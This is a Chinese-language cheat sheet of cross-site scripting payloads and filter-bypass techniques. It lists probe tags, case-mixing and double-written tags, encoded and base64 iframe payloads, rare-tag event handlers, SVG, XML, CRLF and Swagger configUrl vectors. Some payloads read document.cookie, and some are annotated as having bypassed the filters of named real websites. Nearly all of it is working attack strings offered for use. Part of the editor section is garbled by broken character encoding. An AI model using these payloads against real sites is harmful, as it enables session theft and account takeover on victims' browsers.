一、XSS常见问题
1.1 不要直接打弹框
<script>alert(1)</script>
三大麻烦:
- waf直接给你拦截了,你payload根本打不进去;
- 对方后端就过滤死了不让你使用
</script> <img>
这种明显的标签; - 对方压根就不允许弹框。
XSS的本质原理在于解析了用户插入的标签,既然是解析标签,为什么不能插入没有攻击危害的标签进行先探测XSS呢?如果解析标签成功,确认存在XSS,你再一步一步绕过那“三个大麻烦”就不可以了!
常见的无危害标签
<s>123 常用这个
<h1>123</h1>
<p>123</p>
</tExtArEa><h1>123</h1>#
</tExtArEa><s>123#//--+
'"></tExtArEa><s>123#//--+
'"></tExtArEa><s>123#//--+ 常用这个
1.2 XSS检测的原理(包括漏扫)
原理:插入标签后,返回包完整返回标签。
1.3 XSS怎么从返回包判定绕过成功
对于burpsuite而言,可以通过返回包的标签颜色判定,如果成功解析xss标签,那么标签颜色会是彩色,接着基于这个特征,手动FUZZ测试,从而绕过WAF。
二、XSS绕过手段
2.1 常规手法
双写
<scri<script>pt>alert(1);</scr</script>ipt>
大小写
<Sript>alerT(3);</srIPt>
禁用alert绕过
<img src="1" onerror="confirm('xss')">
<script>confirm(123)</script>
<script>prompt(2)</script>
confirm() 方法:用于显示一个带有指定消息和 确定 及 取消 按钮的对话框,如果用户点击确定按钮,则 confirm() 返回 true。
prompt()方法:用于弹出显示可提示用户进行输入的对话框,方法返回用户输入的字串符。
禁用单引号
注意:数字可以不用带单引号。
<script>confirm(`xss`)</script>
<script>confirm(/xss/)</script>
过滤括号()
可以使用反单引号来代替
<script>alert`1`</script>
过滤尖括号<>
可以使用伪协议
payload=hello 'onmouseover=' JavaScript:alert(1)'
onmouseover事件:指鼠标移动都某个指点的HTML标签上,会出现什么效果。
空格的替换
URL会将空格编码为%20
可替换为:
%09 %0a %0b %0c %0d %a0 /
2.2 混淆绕过
</tExtArEa>'"<xhzeem attr="---
x="=='='onmouseover=confirm`x1s2s3` style="display:block;width:1000px;height:1000px;background:red">---
">
具体分析:
1. <textarea>: 是一个多行文本输入控件,常用于用户输入大量自由格式文本,例如评论或反馈表单。
2. "<xhzeem attr=" :
<xhzeems是自定义的非标准 HTML 标签,浏览器会将其作为普通元素解析;
目的是规避网站对标准标签的过滤规则(有些防御机制可能只检测常见标签的恶意属性)。浏览器在解析 HTML 时,对于未知标签通常会当作普通块级元素处理,这使得后续的恶意属性有机会被执行。
attr=" 是为该标签添加一个名为attr的自定义属性,并开始定义属性值(以双引号开头)。
3. --- x="=='=':
短横线 --- 无实际语义,仅作为填充字符,目的是打破正常的代码结构识别。
x="=='" 构造了一个名为 x 的属性,其值由多个等号和引号组成,意图通过混乱的引号配对(单引号与双引号混合)绕过对属性值的语法校验,同时为后续的恶意代码(如 onmouseover)铺垫可被浏览器解析的语法环境。
一段段用于混淆的字符组合,主要作用是通过堆砌特殊符号(短横线、引号、等号)来干扰安全过滤机制。
4. onmouseover=confirmx1s2s3``: 事件处理器,当用户鼠标悬停在该元素上时,会触发confirm弹窗。
5. style:为<xhzeem>元素设置 CSS 样式。
</tExtArEa>'"<a/href="ja%26Tab;vas%26Tab;cript%26Tab;%26Tab;%26Tab;:%26Tab;%26Tab;top%26Tab;[8680439..toString(30)]()">click_me</a>#
目的是通过构造特殊格式的链接,在用户点击时执行恶意 JavaScript 代码,具体分析:
1. </tExtArEa>'": 闭合页面中可能存在的<textarea>标签
2. <a/href= :构造一个<a>(链接)标签,并定义其href属性(链接地址)
3. "ja%26Tab;vas%26Tab;cript%26Tab;%26Tab;%26Tab;:%26Tab;%26Tab;top%26Tab;[8680439..toString(30)]()" :
通过编码和混淆隐藏了javascript:协议及执行逻辑,整体即javascript:top["alert"](),等价于top.alert(),作用是执行alert()函数。
4. click_me</a>#:是<a>标签显示的文本,诱导用户点击。
<script%20type="text/javascript">%20var%20reg%20=%20/test/;%20var%20str%20=%20%27testString%27;%20var%20result%20=%20reg.exec(str);%20alert(result);%20</script>
经过 URL 编码的 JavaScript 脚本,使用正则表达式的 exec()
方法,通过匹配字符串中的 “test” 并弹出结果,具体分析:
1. <script type="text/javascript">:HTML 脚本标签,声明内部为 JavaScript 代码。
2. var reg = /test/;:定义一个正则表达式对象 reg,匹配字符串 "test"。、
3. var str = 'testString';:定义字符串 str,内容为 "testString"。
4. var result = reg.exec(str);:使用 exec() 方法执行正则匹配,在 str 中查找与 reg 匹配的内容。
5. alert(result);:弹出对话框显示匹配结果。
2.3 编码加密绕过
<iframe src="data:text/html;base64,PFNDcmlwdD5hbGVydCgxKTwvU0NyaXB0Pg=="></iframe>
<iframe src="data:text/html;base64,PG9iamVjdCBkYXRhPWRhdGE6dGV4dC9odG1sO2Jhc2U2NCxQSE5qY21sd2RENWhiR1Z5ZENnbmVITnpKeWs4TDNOamNtbHdkRDQ9Pjwvb2JqZWN0Pg=="></iframe>
<iframe src="data:text/html;base64,PG9iamVjdCBkYXRhPWRhdGE6dGV4dC9odG1sO2Jhc2U2NCxQR0YxWkdsdklITnlZejB4SUc5dVpYSnliM0k5WTI5dVptbHliU2duZUhOemMzTW5LVDQ9Pjwvb2JqZWN0Pg=="></iframe>
2.4 冷门标签绕过
"\"><s>12356789@qq.com 邮箱xss(验证)
<sTylE OnLoAd=alert(1)>
<dETAILS%0Aopen%0AonToGgle%0A=%0Aa=prompt,a()%20x>
<dETAILS%0Aopen%0AonToGgle%0A=%0Aa=confirm,a()%20x> #过携程和oppo
22onmouseover=%22a=confirm,a(document.cookie)%22--+//%23 #过oppo
<dETAILS%0Aopen%0AonToGgle%0A=%0Aa=confirm,a(document.cookie)%20x>
<svg%20onmouseover%0A=%0Aa=confirm,a(1)>
<svg%0Aonmouseover%0A=%0Aa=confirm,a(1)%20x>
<svg%20onmouseover%0A=%0Aa=confirm,a(document.cookie)>
'+onclick=a=alert,a(1)%2F%2F
'+onclick=a=alert,a(1)--+
'+onclick=a=confirm,a(1)--+
'+onclick=a=confirm,a(1)%2F%2F
%27+onclick='a=alert,a(1)'--+
在对xss标签进行注释的时候要使用--+和// ,经测试%23无效。如果onload不能用就换成其他属性。
<marquee behavior="alternate" onstart=alert(1)>123</marquee>
<MaRQuEe BehAvIor="alternate" onStArt=alert(1)>123</MaRQuEe>
<body onpageshow=alert(1)>
<body onPAgeShoW=confirm(111)>
<details ontoggle=alert()> 向下按钮xss
<SVg </onLoaD ="1> (_=prompt,_(1)) "">
<script>eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKTs='));</script>
<d3"<"/onclick="1>[confirm``]"<">dianwo 需要点击
<w="/x="y>"/oNCliCk=`<`[confir\u006d``]>dianwo 需要点击
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>dianwo2 需要双击
<w="/x="y>"/oNDblCliCk=`<`[confir\u006d``]>dianwo2 需要双击
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
<img/src/onerror=\u0061\u006c\u0065\u0072\u0074(1)>
<object data=javascript:alert(1)>
<svg onload=setInterval`alert\x28document.domain\x29`>
<img src=1 onerror=javascript:{{.('alert(1)')()}}> 点击一次
<a href=javascript:{{.('alert(1)')()}}>dianwo</a> 点击一次
<a href=javascript:<x ng-app>{{.('alert(1)')()}}>dianwo</a> 点击一次
<a href=javascript:{{.('alert(1)')()}}>dianwo</a> 点击一次
<d3"<"/onclick="1>[confirm``]"<">dianwo 点击一次
<d3"<"/oNDblCliCk="1>[confirm``]"<">dianwo 需要双击
<%00EEEE<svg /\/\//ONLoad='a\u006c\u0065\u0072\u0074(1)'/\/\/\>svg>
<svg><set end=1 onend=[1].find(alert)>
<body onpageshow="alert(1)">
<details open ontoggle=alert(1)> #这个可能不弹窗,但是可以造成xss
<details open ontoggle=\u0061\u006c\u0065\u0072\u0074(1)>
<details%20ontoggle=confirm()>// #弹窗!
三、特殊类型
3.1 svg-xss
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<a xlink:href="javascript:alert('XSS via xlink')">
<text x="10" y="20">Click Me</text>
</a>
</svg>
利用 SVG 的<a>
标签和xlink:href
属性,嵌入javascript:
协议,点击文本时触发 XSS。
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<g onload="e=eval;e('ale'+'rt(1)')">
<circle cx="50" cy="50" r="40" fill="blue"/>
</g>
</svg>
使用 SVG 元素的onload
事件(加载时触发),替代<script>
标签,规避对<script>
的过滤。
通过字符串拼接('ale'+'rt'
)混淆alert
函数名,绕过关键词检测。
3.2 XML-XSS
<!-- 恶意XML文件 -->
<user>
<name>asdad</name>
<bio><script>alert('XML XSS')</script></bio>
</user>
若应用程序读取该 XML 的<bio>
内容,并直接嵌入到 HTML 页面(如显示用户简介),则<script>
标签会被浏览器执行,弹出弹窗。
<message id="msg" content="欢迎访问" onmouseover="alert('XSS via XML attribute')" />
若应用程序将 XML 的onmouseover
属性直接作为 HTML 元素的属性渲染(如<div id="msg" content="欢迎访问" onmouseover="alert('XSS via XML attribute')">
),则用户鼠标悬停时会触发恶意代码。
3.3 Swagger-XSS
通过/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json
的方式,可以触发漏洞
3.4 JSonp导致的XSS
https://www.runoob.com/json/json-jsonp.html
https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction
3.5 CRLF注入导致的XSS
/%0a%0dSet-Cookie:%20id=admin
%0a%0d%0a%0d%0a<script>alert('xss')</script>
3.6 编辑器处的XSS
"<script>alert(1)</script>
<script>alert(2)</script>
medium--> Ë«Ð´ÈÆ¹ý£º<sc<script>ript>alert(4)</script>
´óСд»ìÏýÈÆ¹ý£º<ScRipt>alert(5)</script>
<img src=1 onerror=alert(7)>
onmouseover=¡¯alert(9)¡¯
<script>alert(11);</script>
>"'><img src="javascript.:alert(12)">
>"'><script>alert(13)</script>
<table background='javascript.:alert(14)'></table>
<object type=text/html data='javascript.:alert(15);'></object>
"+alert(16)+"